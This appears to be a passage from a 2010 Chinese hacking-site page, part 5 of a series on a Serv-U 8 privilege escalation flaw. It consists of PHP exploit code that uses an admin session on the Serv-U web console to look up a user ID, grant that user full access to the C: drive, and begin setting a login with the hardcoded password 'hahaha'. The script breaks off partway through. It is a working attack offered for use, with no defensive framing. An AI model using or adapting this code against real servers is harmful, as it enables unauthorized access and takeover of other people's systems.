发现serv-u8提权漏洞(5)
时间:2010-01-15 13:37来源:未知 作者:admin 点击:次
$URL="/Admin/XML/User.xml?Command=AddObjectObject=COrganization.".$OrganizationId.".UserTemp=1Sync=546666666666666663"; $ref="http://".$host.":".$port."/Admin/ServerUsers.htm?Page=1"; $post_data_getus
$URL="/Admin/XML/User.xml?Command=AddObject&Object=COrganization.".$OrganizationId.".User&Temp=1&Sync=546666666666666663";
$ref="http://".$host.":".$port."/Admin/ServerUsers.htm?Page=1";
$post_data_getuserid="";
$postStr = createRequest($port,$host,$URL,$post_data_getuserid,$sessionid,$ref);
fputs($sock_getuserid, $postStr);
$result = fread($sock_getuserid, 1280);
$result = getmidstr("<var name=\"ObjectID\" val=\"","\" />",$result);
fclose($sock_getuserid);
$getuserid = $result;
if ($getuserid!="")
echo "获取用户ID".$getuserid."成功!";
//getuserid---------------------------------------
//addpower-----------------------------------------
$sock_addpower = fsockopen($host, $port);
$URL="/Admin/XML/Result.xml?Command=AddObject&Object=CUser.".$getuserid.".DirAccess&Sync=1227081437828";
$post_data_addpower['Access'] = "7999";
$post_data_addpower['MaxSize'] = "0";
$post_data_addpower['Dir'] = "c:\\";
$post_data_addpower['undefined'] = "undefined";
$postStr = createRequest($port,$host,$URL,$post_data_addpower,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
fputs($sock_addpower, $postStr,strlen($postStr));
$result = fread($sock_addpower, 1280);
fclose($sock_addpower);
echo "添加权限成功!";
//addpower-----------------------------------------
//adduser-----------------------------------------
$sock_adduser = fsockopen($host, $port);
$URL="/Admin/XML/Result.xml?Command=UpdateObject&Object=COrganization.".$OrganizationId.".User.".$getuserid."&Sync=1227071190250";
$post_data_adduser['LoginID'] = $ftpuser;
$post_data_adduser['FullName'] = "";
$post_data_adduser['Password'] = 'hahaha';
$post_data_adduser['ComboPasswordType'] = "%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81";
$post_data_adduser['PasswordType'] = "0";
------分隔线----------------------------